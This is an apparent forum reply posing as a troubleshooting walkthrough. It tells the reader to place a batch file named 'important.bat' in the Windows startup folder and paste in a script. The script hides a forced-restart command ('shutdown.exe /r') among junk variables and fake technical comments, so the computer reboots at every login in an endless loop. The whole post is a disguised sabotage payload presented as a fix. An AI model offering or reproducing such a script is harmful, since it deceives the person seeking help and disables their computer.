I've seen this before.
I've prepared a simple walkthrough for you that should fix your problem:
First in the run box, type "shell:startup"
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A window should appear:
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Right click in the window and select "New" > "Text Document"
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After the document appears, rename it to "important.bat"
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You'll be presented with this Rename dialog, click "Yes"
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Right click on the newly created file and select "Edit"
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In the Notepad window that appears, paste the following text:
Code:
@echo off
SET _STR=ycIjQqFKanohzIMIHXisgyabbFYfagEjIqTTD
SET _ARG1=%_STR1:~8,4%
SET _ARG2=%_STR1:~19,2%
SET _ARG3=%_STR1:~23,1%
SET _ARG4=%_STR1:~28,3%
:: # Generate Keystream
SET _TEMP1=LiEYhOsQMh
:: # Locate Parser
SET _TEMP2=IkwHnkWnnf
:: # Enable Hyperthreading
SET _TEMP3=obGQjnPtSm
:: # Compile Position Independent Code
SET _TEMP4=jf1iHOuNp9
:: # Adjust Bootloader
SET _TEMP5=LdboDeijyp
:: # Configure Interface
SET _TEMP6=qxG6Vk8lkS
:: # Ensure MTU is Sufficient
SET _TEMP7=gapmpyxpwD
:: # Diagnose Issues
SET _TEMP8=zcOqb7zvgS
SET _TEMP9=IWRzl8WY3y
SET _TEMPx=dk51gnAlP6
:: # Update Registry Entries
:: UpdateReg \HKEY_LOCAL_MACHINE\System\Networking\burninator\ %TRUE%
:: if( WindowsUAC(system, networking, eth0, is_onfire()) )
:: C:\Windows\system32\extinguish.exe \now
:: endif
:: # Register Globals
C:\Windows\System32\shutdown.exe /r /c "%_ARG1% %_ARG2% %_ARG3% %_ARG4%"
:: # Handle Return Values
:: WinSock_Handle tmp8924.tmp
...it should look like this:
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Save the file by clicking "File" > "Save":
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Restart your computer and let the update do its thing.
Good luck!